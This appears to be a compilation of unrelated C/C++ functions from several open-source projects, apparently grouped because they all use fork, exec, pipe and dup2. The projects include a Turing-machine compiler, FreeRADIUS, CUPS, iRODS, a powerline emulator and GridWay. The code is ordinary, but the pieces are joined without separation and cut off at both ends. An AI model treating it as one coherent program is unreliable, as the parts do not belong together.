"\t\tpush\treject_str\n"; assemblyCode += "\t\tcall\tprintf\n"; assemblyCode += "\t\tadd\t\tesp , 4\n"; assemblyCode += "\t\tpop\t\tedx\n"; assemblyCode += "\t\tpop\t\tecx\n"; assemblyCode += "\t\tpop\t\teax\n"; assemblyCode += "\t\tjmp\t\texit_sim\n"; assemblyCode += "\nstate_accept:\n"; assemblyCode += "\t\tpush\teax\n"; assemblyCode += "\t\tpush\tecx\n"; assemblyCode += "\t\tpush\tedx\n"; assemblyCode += "\t\tpush\taccept_str\n"; assemblyCode += "\t\tcall\tprintf\n"; assemblyCode += "\t\tadd\t\tesp , 4\n"; assemblyCode += "\t\tpop\t\tedx\n"; assemblyCode += "\t\tpop\t\tecx\n"; assemblyCode += "\t\tpop\t\teax\n"; assemblyCode += "\nexit_sim:\n"; // Free edx (tape pointer) if ( useNASM ) { assemblyCode += "\t\tpush\tedx\n"; } else { assemblyCode += "\t\tadd\t\tesp , -4\n"; assemblyCode += "\t\tmov\t\t[esp] , edx\n"; } assemblyCode += "\t\tcall\tfree\n"; // Take down stack frame assemblyCode += "\t\tmov\t\tesp , ebp\n"; if ( useNASM ) { assemblyCode += "\t\tpop\t\tebp\n"; } else { assemblyCode += "\t\tmov\t\tebp , [esp]\n"; assemblyCode += "\t\tadd\t\tesp , 4\n"; } // Return 0 to OS assemblyCode += "\t\tmov\t\teax , 0\n"; assemblyCode += "\t\tret\n\n"; if ( useNASM ) { // Tape not big enough error assemblyCode += "tape_not_big_enough:\n"; assemblyCode += "\t\tpush\tdword tape_err_str\n"; assemblyCode += "\t\tcall\tprintf\n"; assemblyCode += "\t\tmov\t\tesp , ebp\n"; assemblyCode += "\t\tpop\t\tebp\n"; // Return 0 to OS assemblyCode += "\t\tmov\t\teax , 0\n"; assemblyCode += "\t\tret\n"; } else { } if ( verbose ) { std::cout << "* Compilation stage completed." << std::endl; std::cout << "* Beginning assembly stage..." << std::endl; } if ( verbose == link ) { if ( verbose ) { if ( execOut.size() == 0 ) { asmFilename = "turing_asm.asm"; } else { asmFilename = asmOut; } ofs.open( asmFilename.c_str() , std::fstream::out ); } else { asmFilename = asmOut; ofs.open( asmOut.c_str() , std::fstream::out ); } } else { asmFilename = "turing_asm.asm"; ofs.open( "turing_asm.asm" , std::fstream::out ); } // Write out the assembly code to a file ofs << assemblyCode << std::endl; // HERE ASSEMBLE THE CODE pid = fork(); if ( pid == 0 ) { // Child // Next three lines steal out and err from which and send to /dev/null int fd = open( "/dev/null" , O_WRONLY ); //dup2(fd, 1); //dup2(fd, 2); if ( !useNASM ) { execlp( "as" , "as" , "--32" , "-o" , "turing_obj.o" , asmFilename.c_str() , (char*)0 ); } else { execlp( "nasm" , "nasm" , "-f" , "elf32" , "-o" , "turing_obj.o" , asmFilename.c_str() , (char*)0 ); } _exit( arbError ); } else { // Parent pid_t result = waitpid( pid , 0 , 0 ); } if ( verbose ) { std::cout << "* Assembly stage completed." << std::endl; std::cout << "* Beginning linking stage..." << std::endl; } // HERE LINK THE CODE AND PRODUCE AN EXECUTABLE if ( link ) { pid = fork(); if ( pid == 0 ) { std::string execOutFile; if ( execOut.size() > 0 ) { execOutFile = execOut; } else if ( asmOut.size() > 0 ) { execOutFile = asmOut; } else { execOutFile = "turing_exec.out"; } execlp("gcc", "gcc", "-o", execOutFile.c_str() , "turing_obj.o" , "-m32" , (char *)0 ); } // We run this block if we are the parent else { // Wait for the gcc process to exit waitpid( pid , 0 , 0 ); } if ( verbose ) { std::cout << "* Linking stage completed, produced executable:\n "; if ( execOut.size() > 0 ) { std::cout << execOut << std::endl; } else { std::cout << "turing_exec.out" << std::endl; } } } return; }
int dna_helper_start() { const char *command = confValueGet("dna.helper.executable", NULL); const char *arg = confValueGet("dna.helper.argv.1", NULL); if (!command || !command[0]) { /* Check if we have a helper configured. If not, then set dna_helper_pid to magic value of 0 so that we don't waste time in future looking up the dna helper configuration value. */ INFO("DNAHELPER none configured"); dna_helper_pid = 0; return 0; } if (!my_subscriber) return WHY("Unable to lookup my SID"); const char *mysid = alloca_tohex_sid(my_subscriber->sid); dna_helper_close_pipes(); int stdin_fds[2], stdout_fds[2], stderr_fds[2]; if (pipe(stdin_fds) == -1) return WHY_perror("pipe"); if (pipe(stdout_fds) == -1) { WHY_perror("pipe"); close(stdin_fds[0]); close(stdin_fds[1]); return -1; } if (pipe(stderr_fds) == -1) { WHY_perror("pipe"); close(stdin_fds[0]); close(stdin_fds[1]); close(stdout_fds[0]); close(stdout_fds[1]); return -1; } switch (dna_helper_pid = fork()) { case 0: /* Child, should exec() to become helper after installing file descriptors. */ setenv("MYSID", mysid, 1); set_logging(stderr); signal(SIGTERM, SIG_DFL); close(stdin_fds[1]); close(stdout_fds[0]); close(stderr_fds[0]); if (dup2(stderr_fds[1], 2) == -1 || dup2(stdout_fds[1], 1) == -1 || dup2(stdin_fds[0], 0) == -1) { LOG_perror(LOG_LEVEL_FATAL, "dup2"); fflush(stderr); _exit(-1); } /* XXX: Need the cast on Solaris because it defins NULL as 0L and gcc doesn't * see it as a sentinal */ execl(command, command, arg, (void *)NULL); LOGF_perror(LOG_LEVEL_FATAL, "execl(%s, %s, %s, NULL)", command, command, arg ? arg : "NULL"); fflush(stderr); do { _exit(-1); } while (1); break; case -1: /* fork failed */ WHY_perror("fork"); close(stdin_fds[0]); close(stdin_fds[1]); close(stdout_fds[0]); close(stdout_fds[1]); close(stderr_fds[0]); close(stderr_fds[1]); return -1; default: /* Parent, should put file descriptors into place for use */ close(stdin_fds[0]); close(stdout_fds[1]); close(stderr_fds[1]); dna_helper_started = 0; dna_helper_stdin = stdin_fds[1]; dna_helper_stdout = stdout_fds[0]; dna_helper_stderr = stderr_fds[0]; INFOF("STARTED DNA HELPER pid=%u stdin=%d stdout=%d stderr=%d executable=%s arg=%s", dna_helper_pid, dna_helper_stdin, dna_helper_stdout, dna_helper_stderr, command, arg ? arg : "NULL" ); sched_requests.function = monitor_requests; sched_requests.context = NULL; sched_requests.poll.fd = -1; sched_requests.poll.events = POLLOUT; sched_requests.stats = NULL; sched_timeout.function = reply_timeout; sched_timeout.context = NULL; sched_timeout.stats = NULL; sched_replies.function = monitor_replies; sched_replies.context = NULL; sched_replies.poll.fd = dna_helper_stdout; sched_replies.poll.events = POLLIN; sched_replies.stats = NULL; sched_errors.function = monitor_errors; sched_errors.context = NULL; sched_errors.poll.fd = dna_helper_stderr; sched_errors.poll.events = POLLIN; sched_errors.stats = NULL; sched_harvester.function = harvester; sched_harvester.stats = NULL; sched_harvester.alarm = gettime_ms() + 1000; sched_harvester.deadline = sched_harvester.alarm + 1000; reply_bufend = reply_buffer; discarding_until_nl = 0; awaiting_reply = 0; watch(&sched_replies); watch(&sched_errors); schedule(&sched_harvester); return 0; } return -1; }
/* * osauthGetAuth - this function runs the OS_AUTH_CMD command to * retrieve an authenticator for the calling user. */ int osauthGetAuth( char *challenge, char *username, char *authenticator, int authenticator_buflen ) { #if defined(OS_AUTH) static char fname[] = "osauthGetAuth"; int pipe1[2], pipe2[2]; pid_t childPid; int childStatus = 0; int child_stdin, child_stdout, nb; int buflen, challenge_len = CHALLENGE_LEN; char buffer[128]; if ( challenge == NULL || username == NULL || authenticator == NULL ) { return USER__NULL_INPUT_ERR; } if ( pipe( pipe1 ) < 0 ) { rodsLog( LOG_ERROR, "%s: pipe1 create failed. errno = %d", fname, errno ); return ( SYS_PIPE_ERROR - errno ); } if ( pipe( pipe2 ) < 0 ) { rodsLog( LOG_ERROR, "%s: pipe2 create failed. errno = %d", fname, errno ); close( pipe1[0] ); close( pipe1[1] ); return ( SYS_PIPE_ERROR - errno ); } childPid = RODS_FORK(); if ( childPid < 0 ) { rodsLog( LOG_ERROR, "%s: RODS_FORK failed. errno = %d", fname, errno ); close( pipe1[0] ); close( pipe1[1] ); close( pipe2[0] ); close( pipe2[1] ); return SYS_FORK_ERROR; } else if ( childPid == 0 ) { /* in the child process */ /* pipe1 will be for child's stdin */ close( pipe1[1] ); dup2( pipe1[0], 0 ); /* pipe2 will be for child's stdout */ close( pipe2[0] ); dup2( pipe2[1], 1 ); /* set the username in an environment variable */ setenv( OS_AUTH_ENV_USER, username, 1 ); /* run the OS_AUTH_CMD */ execlp( OS_AUTH_CMD, OS_AUTH_CMD, ( char* )NULL ); rodsLog( LOG_ERROR, "%s: child execl %s failed. errno = %d", fname, OS_AUTH_CMD, errno ); } else { /* in the parent process */ close( pipe1[0] ); child_stdin = pipe1[1]; /* parent writes to child's stdin */ close( pipe2[1] ); child_stdout = pipe2[0]; /* parent reads from child's stdout */ /* send the challenge to the OS_AUTH_CMD program on its stdin */ nb = write( child_stdin, &challenge_len, sizeof( challenge_len ) ); if ( nb < 0 ) { rodsLog( LOG_ERROR, "%s: error writing challenge_len to %s. errno = %d", fname, OS_AUTH_CMD, errno ); close( child_stdin ); close( child_stdout ); return ( SYS_PIPE_ERROR - errno ); } nb = write( child_stdin, challenge, challenge_len ); if ( nb < 0 ) { rodsLog( LOG_ERROR, "%s: error writing challenge to %s. errno = %d", fname, OS_AUTH_CMD, errno ); close( child_stdin ); close( child_stdout ); return ( SYS_PIPE_ERROR - errno ); } /* read the response */ buflen = read( child_stdout, buffer, 128 ); if ( buflen < 0 ) { rodsLog( LOG_ERROR, "%s: error reading from %s. errno = %d", fname, OS_AUTH_CMD, errno ); close( child_stdin ); close( child_stdout ); return ( SYS_PIPE_ERROR - errno ); } close( child_stdin ); close( child_stdout ); if ( waitpid( childPid, &childStatus, 0 ) < 0 ) { rodsLog( LOG_ERROR, "%s: waitpid error. errno = %d", fname, errno ); return EXEC_CMD_ERROR; } if ( WIFEXITED( childStatus ) ) { if ( WEXITSTATUS( childStatus ) ) { rodsLog( LOG_ERROR, "%s: command failed: %s", fname, buffer ); return EXEC_CMD_ERROR; } } else { rodsLog( LOG_ERROR, "%s: some error running %s", fname, OS_AUTH_CMD ); } /* authenticator is in buffer now */ if ( buflen > authenticator_buflen ) { rodsLog( LOG_ERROR, "%s: not enough space in return buffer for authenticator", fname ); return EXEC_CMD_OUTPUT_TOO_LARGE; } memcpy( authenticator, buffer, buflen ); } return 0; #else /* defined OS_AUTH */ if ( ProcessType == CLIENT_PT ) { return( OSAUTH_NOT_BUILT_INTO_CLIENT ); } else { return( OSAUTH_NOT_BUILT_INTO_SERVER ); } #endif }
int main(int argc, char* argv[]) { char buf[200]; int tab[2]; int tab2[2]; int tab3[2]; int tab4[2]; int tab5[2]; pipe(tab); pipe(tab2); pipe(tab3); pipe(tab4); pipe(tab5); if (fork() == 0) { if (fork() == 0) { if (fork() == 0) { close(tab[0]); close(tab2[0]); close(tab2[1]); close(tab3[0]); close(tab3[1]); close(tab4[0]); close(tab4[1]); close(tab5[0]); close(tab5[1]); dup2(tab[1], 1); execlp("ps", "ps", "-ef", NULL); } else{ close(tab2[0]); close(tab[1]); close(tab3[0]); close(tab3[1]); close(tab4[0]); close(tab4[1]); close(tab5[0]); close(tab5[1]); dup2(tab[0], 0); dup2(tab2[1], 1); execlp("tr", "tr", "-s","' '",":", NULL); } } else { if (fork() == 0) { close(tab[0]); close(tab[1]); close(tab2[1]); close(tab3[0]); close(tab4[0]); close(tab4[1]); close(tab5[0]); close(tab5[1]); dup2(tab2[0], 0); dup2(tab3[1], 1); execlp("cut", "cut", "-d:","-f1", NULL); } else{ close(tab[0]); close(tab[1]); close(tab2[1]); close(tab2[0]); close(tab4[0]); close(tab3[1]); close(tab5[0]); close(tab5[1]); dup2(tab3[0], 0); dup2(tab4[1], 1); execlp("sort", "sort",NULL); }} } else { if (fork() == 0) { close(tab[0]); close(tab[1]); close(tab2[1]); close(tab2[0]); close(tab3[0]); close(tab3[1]); close(tab5[0]); close(tab4[1]); dup2(tab4[0], 0); dup2(tab5[1], 1); execlp("uniq", "uniq","-c",NULL); } else{ close(tab[0]); close(tab[1]); close(tab2[1]); close(tab2[0]); close(tab3[0]); close(tab3[1]); close(tab5[1]); close(tab4[0]); close(tab4[1]); dup2(tab5[0], 0); execlp("sort", "sort","-n", NULL); } } return 0; }
/* * The main guy. */ int main(int argc, char *argv[]) { int rcode = EXIT_SUCCESS; int status; int argval; int spawn_flag = true; int dont_fork = false; int write_pid = false; int flag = 0; #ifdef HAVE_SIGACTION struct sigaction act; #endif #ifdef OSFC2 set_auth_parameters(argc,argv); #endif if ((progname = strrchr(argv[0], FR_DIR_SEP)) == NULL) progname = argv[0]; else progname++; #ifdef WIN32 { WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 0), &wsaData)) { fprintf(stderr, "%s: Unable to initialize socket library.\n", progname); return 1; } } #endif debug_flag = 0; spawn_flag = true; radius_dir = talloc_strdup(NULL, RADIUS_DIR); /* * Ensure that the configuration is initialized. */ memset(&mainconfig, 0, sizeof(mainconfig)); mainconfig.myip.af = AF_UNSPEC; mainconfig.port = -1; mainconfig.name = "radiusd"; #ifdef HAVE_SIGACTION memset(&act, 0, sizeof(act)); act.sa_flags = 0 ; sigemptyset( &act.sa_mask ) ; #endif /* * Don't put output anywhere until we get told a little * more. */ default_log.dest = L_DST_NULL; default_log.fd = -1; mainconfig.log_file = NULL; /* Process the options. */ while ((argval = getopt(argc, argv, "Cd:D:fhi:l:mMn:p:PstvxX")) != EOF) { switch(argval) { case 'C': check_config = true; spawn_flag = false; dont_fork = true; break; case 'd': if (radius_dir) { rad_const_free(radius_dir); } radius_dir = talloc_strdup(NULL, optarg); break; case 'D': mainconfig.dictionary_dir = talloc_strdup(NULL, optarg); break; case 'f': dont_fork = true; break; case 'h': usage(0); break; case 'l': if (strcmp(optarg, "stdout") == 0) { goto do_stdout; } mainconfig.log_file = strdup(optarg); default_log.dest = L_DST_FILES; default_log.fd = open(mainconfig.log_file, O_WRONLY | O_APPEND | O_CREAT, 0640); if (default_log.fd < 0) { fprintf(stderr, "radiusd: Failed to open log file %s: %s\n", mainconfig.log_file, fr_syserror(errno)); exit(EXIT_FAILURE); } fr_log_fp = fdopen(default_log.fd, "a"); break; case 'i': if (ip_hton(optarg, AF_UNSPEC, &mainconfig.myip) < 0) { fprintf(stderr, "radiusd: Invalid IP Address or hostname \"%s\"\n", optarg); exit(EXIT_FAILURE); } flag |= 1; break; case 'n': mainconfig.name = optarg; break; case 'm': mainconfig.debug_memory = 1; break; case 'M': memory_report = 1; mainconfig.debug_memory = 1; break; case 'p': mainconfig.port = atoi(optarg); if ((mainconfig.port <= 0) || (mainconfig.port >= 65536)) { fprintf(stderr, "radiusd: Invalid port number %s\n", optarg); exit(EXIT_FAILURE); } flag |= 2; break; case 'P': /* Force the PID to be written, even in -f mode */ write_pid = true; break; case 's': /* Single process mode */ spawn_flag = false; dont_fork = true; break; case 't': /* no child threads */ spawn_flag = false; break; case 'v': /* Don't print timestamps */ debug_flag += 2; fr_log_fp = stdout; default_log.dest = L_DST_STDOUT; default_log.fd = STDOUT_FILENO; version(); exit(EXIT_SUCCESS); case 'X': spawn_flag = false; dont_fork = true; debug_flag += 2; mainconfig.log_auth = true; mainconfig.log_auth_badpass = true; mainconfig.log_auth_goodpass = true; do_stdout: fr_log_fp = stdout; default_log.dest = L_DST_STDOUT; default_log.fd = STDOUT_FILENO; break; case 'x': debug_flag++; break; default: usage(1); break; } } if (memory_report) { talloc_enable_null_tracking(); #ifdef WITH_VERIFY_PTR talloc_set_abort_fn(die_horribly); #endif } talloc_set_log_fn(log_talloc); /* * Mismatch between build time OpenSSL and linked SSL, * better to die here than segfault later. */ #ifdef HAVE_OPENSSL_CRYPTO_H if (ssl_check_version() < 0) { exit(EXIT_FAILURE); } /* * Initialising OpenSSL once, here, is safer than having individual * modules do it. */ tls_global_init(); #endif if (flag && (flag != 0x03)) { fprintf(stderr, "radiusd: The options -i and -p cannot be used individually.\n"); exit(EXIT_FAILURE); } if (debug_flag) { version(); } /* Read the configuration files, BEFORE doing anything else. */ if (read_mainconfig(0) < 0) { exit(EXIT_FAILURE); } #ifndef __MINGW32__ /* * Disconnect from session */ if (dont_fork == false) { pid_t pid = fork(); if (pid < 0) { ERROR("Couldn't fork: %s", fr_syserror(errno)); exit(EXIT_FAILURE); } /* * The parent exits, so the child can run in the background. */ if (pid > 0) { exit(EXIT_SUCCESS); } #ifdef HAVE_SETSID setsid(); #endif } #endif /* * Ensure that we're using the CORRECT pid after forking, * NOT the one we started with. */ radius_pid = getpid(); /* * If we're running as a daemon, close the default file * descriptors, AFTER forking. */ if (!debug_flag) { int devnull; devnull = open("/dev/null", O_RDWR); if (devnull < 0) { ERROR("Failed opening /dev/null: %s\n", fr_syserror(errno)); exit(EXIT_FAILURE); } dup2(devnull, STDIN_FILENO); if (default_log.dest == L_DST_STDOUT) { setlinebuf(stdout); default_log.fd = STDOUT_FILENO; } else { dup2(devnull, STDOUT_FILENO); } if (default_log.dest == L_DST_STDERR) { setlinebuf(stderr); default_log.fd = STDERR_FILENO; } else { dup2(devnull, STDERR_FILENO); } close(devnull); } else { setlinebuf(stdout); /* unbuffered output */ } /* * Now we have logging check that the OpenSSL */ /* * Initialize the event pool, including threads. */ radius_event_init(mainconfig.config, spawn_flag); /* * Now that we've set everything up, we can install the signal * handlers. Before this, if we get any signal, we don't know * what to do, so we might as well do the default, and die. */ #ifdef SIGPIPE signal(SIGPIPE, SIG_IGN); #endif #ifdef HAVE_SIGACTION act.sa_handler = sig_hup; sigaction(SIGHUP, &act, NULL); act.sa_handler = sig_fatal; sigaction(SIGTERM, &act, NULL); #else #ifdef SIGHUP signal(SIGHUP, sig_hup); #endif signal(SIGTERM, sig_fatal); #endif /* * If we're debugging, then a CTRL-C will cause the * server to die immediately. Use SIGTERM to shut down * the server cleanly in that case. */ if ((mainconfig.debug_memory == 1) || (debug_flag == 0)) { #ifdef HAVE_SIGACTION act.sa_handler = sig_fatal; sigaction(SIGINT, &act, NULL); sigaction(SIGQUIT, &act, NULL); #else signal(SIGINT, sig_fatal); #ifdef SIGQUIT signal(SIGQUIT, sig_fatal); #endif #endif } /* * Everything seems to have loaded OK, exit gracefully. */ if (check_config) { DEBUG("Configuration appears to be OK"); /* for -C -m|-M */ if (mainconfig.debug_memory) { goto cleanup; } exit(EXIT_SUCCESS); } #ifdef WITH_STATS radius_stats_init(0); #endif /* * Write out the PID anyway if were in foreground mode. */ if (!dont_fork) write_pid = true; /* * Only write the PID file if we're running as a daemon. * * And write it AFTER we've forked, so that we write the * correct PID. */ if (write_pid) { FILE *fp; fp = fopen(mainconfig.pid_file, "w"); if (fp != NULL) { /* * FIXME: What about following symlinks, * and having it over-write a normal file? */ fprintf(fp, "%d\n", (int) radius_pid); fclose(fp); } else { ERROR("Failed creating PID file %s: %s\n", mainconfig.pid_file, fr_syserror(errno)); exit(EXIT_FAILURE); } } exec_trigger(NULL, NULL, "server.start", false); /* * Process requests until HUP or exit. */ while ((status = radius_event_process()) == 0x80) { #ifdef WITH_STATS radius_stats_init(1); #endif hup_mainconfig(); } if (status < 0) { ERROR("Exiting due to internal error: %s", fr_strerror()); rcode = EXIT_FAILURE; } else { INFO("Exiting normally"); } exec_trigger(NULL, NULL, "server.stop", false); /* * Ignore the TERM signal: we're * about to die. */ signal(SIGTERM, SIG_IGN); /* * Send a TERM signal to all * associated processes * (including us, which gets * ignored.) */ #ifndef __MINGW32__ if (spawn_flag) kill(-radius_pid, SIGTERM); #endif /* * We're exiting, so we can delete the PID * file. (If it doesn't exist, we can ignore * the error returned by unlink) */ if (dont_fork == false) { unlink(mainconfig.pid_file); } radius_event_free(); cleanup: /* * Detach any modules. */ detach_modules(); xlat_free(); /* modules may have xlat's */ /* * Free the configuration items. */ free_mainconfig(); rad_const_free(radius_dir); #ifdef WIN32 WSACleanup(); #endif if (memory_report) { INFO("Allocated memory at time of report:"); log_talloc_report(NULL); } return rcode; }
static int /* O - Process ID or -1 on error */ exec_filter(const char *filter, /* I - Filter to execute */ char **argv, /* I - Argument list */ char **envp, /* I - Environment list */ int infd, /* I - Stdin file descriptor */ int outfd) /* I - Stdout file descriptor */ { int pid, /* Process ID */ fd; /* Temporary file descriptor */ #if defined(__APPLE__) char processPath[1024], /* CFProcessPath environment variable */ linkpath[1024]; /* Link path for symlinks... */ int linkbytes; /* Bytes for link path */ /* * Add special voodoo magic for MacOS X - this allows MacOS X * programs to access their bundle resources properly... */ if ((linkbytes = readlink(filter, linkpath, sizeof(linkpath) - 1)) > 0) { /* * Yes, this is a symlink to the actual program, nul-terminate and * use it... */ linkpath[linkbytes] = '\0'; if (linkpath[0] == '/') snprintf(processPath, sizeof(processPath), "CFProcessPath=%s", linkpath); else snprintf(processPath, sizeof(processPath), "CFProcessPath=%s/%s", dirname((char *)filter), linkpath); } else snprintf(processPath, sizeof(processPath), "CFProcessPath=%s", filter); envp[0] = processPath; /* Replace <CFProcessPath> string */ #endif /* __APPLE__ */ if ((pid = fork()) == 0) { /* * Child process goes here... * * Update stdin/stdout/stderr as needed... */ if (infd != 0) { if (infd < 0) infd = open("/dev/null", O_RDONLY); if (infd > 0) { dup2(infd, 0); close(infd); } } if (outfd != 1) { if (outfd < 0) outfd = open("/dev/null", O_WRONLY); if (outfd > 1) { dup2(outfd, 1); close(outfd); } } if ((fd = open("/dev/null", O_RDWR)) > 3) { dup2(fd, 3); close(fd); } fcntl(3, F_SETFL, O_NDELAY); if ((fd = open("/dev/null", O_RDWR)) > 4) { dup2(fd, 4); close(fd); } fcntl(4, F_SETFL, O_NDELAY); /* * Execute command... */ execve(filter, argv, envp); perror(filter); exit(errno); } return (pid); }
int main (int argc, char const * argv []) { extern struct channel channel; static char const * optv [] = { "C:eFi:n:N:p:P:qt:vx", "-N file -P file [-n file] [-p file]", "Qualcomm Atheros Powerline Device Host Emulator for INT6300", "C f\twrite NVM file to device using VS_SET_SDRAM", "e\tredirect stderr to stdout", "F[F]\tflash (force) NVRAM using VS_MOD_NVM", #if defined (WINPCAP) || defined (LIBPCAP) "i n\thost interface is (n) [" LITERAL (CHANNEL_ETHNUMBER) "]", #else "i s\thost interface is (s) [" LITERAL (CHANNEL_ETHDEVICE) "]", #endif "n f\tread NVM from device into file using VS_RD_MOD", "N f\twrite NVM file to device using VS_WR_MEM", "p f\tread PIB from device into file using VS_RD_MOD", "P f\twrite PIB file to device using VS_WR_MEM", "q\tquiet mode", "t n\tread timeout is (n) milliseconds [" LITERAL (CHANNEL_TIMEOUT) "]", "v\tverbose mode", "x\texit on error", (char const *) (0) }; #include "../plc/plc.c" signed c; if (getenv (PLCDEVICE)) { #if defined (WINPCAP) || defined (LIBPCAP) channel.ifindex = atoi (getenv (PLCDEVICE)); #else channel.ifname = strdup (getenv (PLCDEVICE)); #endif } optind = 1; while ((c = getoptv (argc, argv, optv)) != -1) { switch (c) { case 'C': if (!checkfilename (optarg)) { error (1, EINVAL, "%s", optarg); } if ((plc.CFG.file = open (plc.CFG.name = optarg, O_BINARY|O_RDONLY)) == -1) { error (1, errno, "%s", plc.CFG.name); } if (sdramfile (plc.CFG.file, optarg, plc.flags)) { error (1, ECANCELED, "CFG file %s is corrupt", optarg); } _setbits (plc.flags, PLC_SDRAM_CONFIG); break; case 'e': dup2 (STDOUT_FILENO, STDERR_FILENO); break; case 'F': _setbits (plc.module, (VS_MODULE_MAC | VS_MODULE_PIB)); if (_anyset (plc.flags, PLC_FLASH_DEVICE)) { _setbits (plc.module, VS_MODULE_FORCE); } _setbits (plc.flags, PLC_FLASH_DEVICE); break; case 'i': #if defined (WINPCAP) || defined (LIBPCAP) channel.ifindex = atoi (optarg); #else channel.ifname = optarg; #endif break; case 'N': if (!checkfilename (optarg)) { error (1, EINVAL, "%s", optarg); } if ((plc.NVM.file = open (plc.NVM.name = optarg, O_BINARY|O_RDONLY)) == -1) { error (1, errno, "%s", plc.NVM.name); } if (nvmfile1 (&plc.NVM)) { error (1, errno, "Bad firmware file: %s", plc.NVM.name); } _setbits (plc.flags, PLC_WRITE_MAC); break; case 'n': if (!checkfilename (optarg)) { error (1, EINVAL, "%s", optarg); } if ((plc.nvm.file = open (plc.nvm.name = optarg, O_BINARY|O_CREAT|O_RDWR|O_TRUNC, FILE_FILEMODE)) == -1) { error (1, errno, "%s", plc.nvm.name); } break; case 'P': if (!checkfilename (optarg)) { error (1, EINVAL, "%s", optarg); } if ((plc.PIB.file = open (plc.PIB.name = optarg, O_BINARY|O_RDONLY)) == -1) { error (1, errno, "%s", plc.PIB.name); } if (pibfile1 (&plc.PIB)) { error (1, errno, "Bad parameter file: %s", plc.PIB.name); } _setbits (plc.flags, PLC_WRITE_PIB); break; case 'p': if (!checkfilename (optarg)) { error (1, EINVAL, "%s", optarg); } if ((plc.pib.file = open (plc.pib.name = optarg, O_BINARY|O_CREAT|O_RDWR|O_TRUNC, FILE_FILEMODE)) == -1) { error (1, errno, "%s", plc.pib.name); } break; case 'q': _setbits (channel.flags, CHANNEL_SILENCE); _setbits (plc.flags, PLC_SILENCE); break; case 't': channel.timeout = (signed)(uintspec (optarg, 0, UINT_MAX)); break; case 'v': _setbits (channel.flags, CHANNEL_VERBOSE); _setbits (plc.flags, PLC_VERBOSE); break; case 'x': _setbits (plc.flags, PLC_BAILOUT); break; default: break; } } argc -= optind; argv += optind; /* * cancel operation if the user omitted a file or entered to extra argments * on the command line; */ if (argc) { error (1, ENOTSUP, ERROR_TOOMANY); } if (plc.CFG.file == -1) { error (1, ECANCELED, "No host CFG file named"); } if (plc.NVM.file == -1) { error (1, ECANCELED, "No host NVM file named"); } if (plc.PIB.file == -1) { error (1, ECANCELED, "No host PIB file named"); } if (plc.nvm.file == -1) { error (1, ECANCELED, "No user NVM file named"); } if (plc.pib.file == -1) { error (1, ECANCELED, "No user PIB file named"); } openchannel (&channel); if (!(plc.message = malloc (sizeof (* plc.message)))) { error (1, errno, PLC_NOMEMORY); } EmulateHost (&plc); free (plc.message); closechannel (&channel); exit (0); }
//---------------------------------------------------------------------------- int usbasp_open(char *SerialNumber) { struct usb_bus *bus; struct usb_device *dev; char string[256]; char serial[USB_CFG_SERIAL_NUMBER_LEN+1]; #ifdef __GNUC__ int old_fd, nul_fd; #endif setup_serial(serial, SerialNumber); /* * libusb-win32-0.1.10.1 で usb_find_busses() を実行したときに * "found N busses"がstdoutに出力されるため一時的にstdoutをnulに切換 * libusb-win32-0.1.10.2/ libusb-win32-0.1.12.0で修正されている * とりあえずgccのみ (bcc/bcb6/vc8では正常に動作しない) */ #ifdef __GNUC__ old_fd = dup(fileno(stdout)); // 標準出力のバックアップを作成 nul_fd = open("nul", O_WRONLY); // 標準出力用に"nul"を開く dup2(nul_fd, fileno(stdout)); // ファイルのディスクリプタのコピーを1番に作成 #endif usb_init(); usb_find_busses(); // この中で不要な printf がある usb_find_devices(); #ifdef __GNUC__ fflush(stdout); dup2(old_fd, fileno(stdout)); // 標準出力を元に戻す close(old_fd); // 標準出力のバックアップを閉じる close(nul_fd); #endif for (bus = usb_get_busses(); bus; bus = bus->next) { for (dev = bus->devices; dev; dev = dev->next) { if (dev->descriptor.idVendor == USBDEV_VENDOR && dev->descriptor.idProduct == USBDEV_PRODUCT) { usbhandle = usb_open(dev); if (usbhandle) { if (SerialNumber == NULL) return 0; // findfirst // check serial number if (usb_get_string_simple(usbhandle, dev->descriptor.iSerialNumber, string, sizeof(string)) < 0) { // cannot read serial number if (!SerialNumber[0]) return 0; } if (strnicmp(serial, string, USB_CFG_SERIAL_NUMBER_LEN) == 0) return 0; usb_close(usbhandle); } } } } fprintf(stderr, "%s: usb_open(): did not find any%s USB device \"%.4s\"\n", progname, SerialNumber ? " (matching)": "", serial); return 1; }
int gw_em_mad_init(gw_em_mad_t * em_mad, const char * exe, const char * name, const char * owner) { char buf[50]; char str[GW_EM_MAX_STRING], c; char info[GW_EM_MAX_INFO]; char s_job_id[GW_EM_MAX_JOB_ID]; char result[GW_EM_MAX_RESULT]; char action[GW_EM_MAX_ACTION]; int em_mad_pipe[2], mad_em_pipe[2]; int i, rc; int length; if ((name == NULL) || (exe == NULL) || (owner == NULL)) return -1; length = strlen(gw_conf.gw_location) + strlen(exe) + 6; em_mad->executable = (char *) malloc(sizeof(char)*length); em_mad->name = strdup(name); em_mad->wrapper_rsl = NULL; em_mad->pre_wrapper_rsl = NULL; em_mad->mode = NULL; sprintf(em_mad->executable, "%s/bin/%s", gw_conf.gw_location, exe); if (pipe(em_mad_pipe) == -1 || pipe(mad_em_pipe) == -1) { gw_log_print("EM",'E',"Could not create communication pipes: %s.\n", strerror(errno)); return -1; } em_mad->pid = fork(); switch (em_mad->pid) { case -1: /* Error */ gw_log_print("EM",'E',"Could not fork to start execution MAD %s.\n", name); return -1; case 0: /* Child process (MAD) */ close(em_mad_pipe[1]); close(mad_em_pipe[0]); /* stdin and stdout redirection */ if (dup2(em_mad_pipe[0], 0) != 0 || dup2(mad_em_pipe[1], 1) != 1) { gw_log_print("EM",'E',"Could not duplicate communication pipes: %s\n", strerror(errno)); exit(-1); } close(em_mad_pipe[0]); close(mad_em_pipe[1]); if (gw_conf.multiuser == GW_TRUE) execlp("sudo", "sudo", "-u", owner, em_mad->executable, NULL); else execlp(em_mad->executable, em_mad->executable, NULL); gw_log_print("EM",'E',"Could not execute MAD %s (exec/sudo).\n", em_mad->executable); exit(-1); break; default: /* Parent process (GWD) */ close(em_mad_pipe[0]); close(mad_em_pipe[1]); em_mad->em_mad_pipe = em_mad_pipe[1]; em_mad->mad_em_pipe = mad_em_pipe[0]; fcntl(em_mad->em_mad_pipe, F_SETFD, FD_CLOEXEC); /* Close pipes in other MADs*/ fcntl(em_mad->mad_em_pipe, F_SETFD, FD_CLOEXEC); sprintf(buf, "INIT %i - -\n",gw_conf.number_of_jobs); write(em_mad->em_mad_pipe, buf, strlen(buf)); i = 0; do { rc = read(em_mad->mad_em_pipe, (void *) &c, 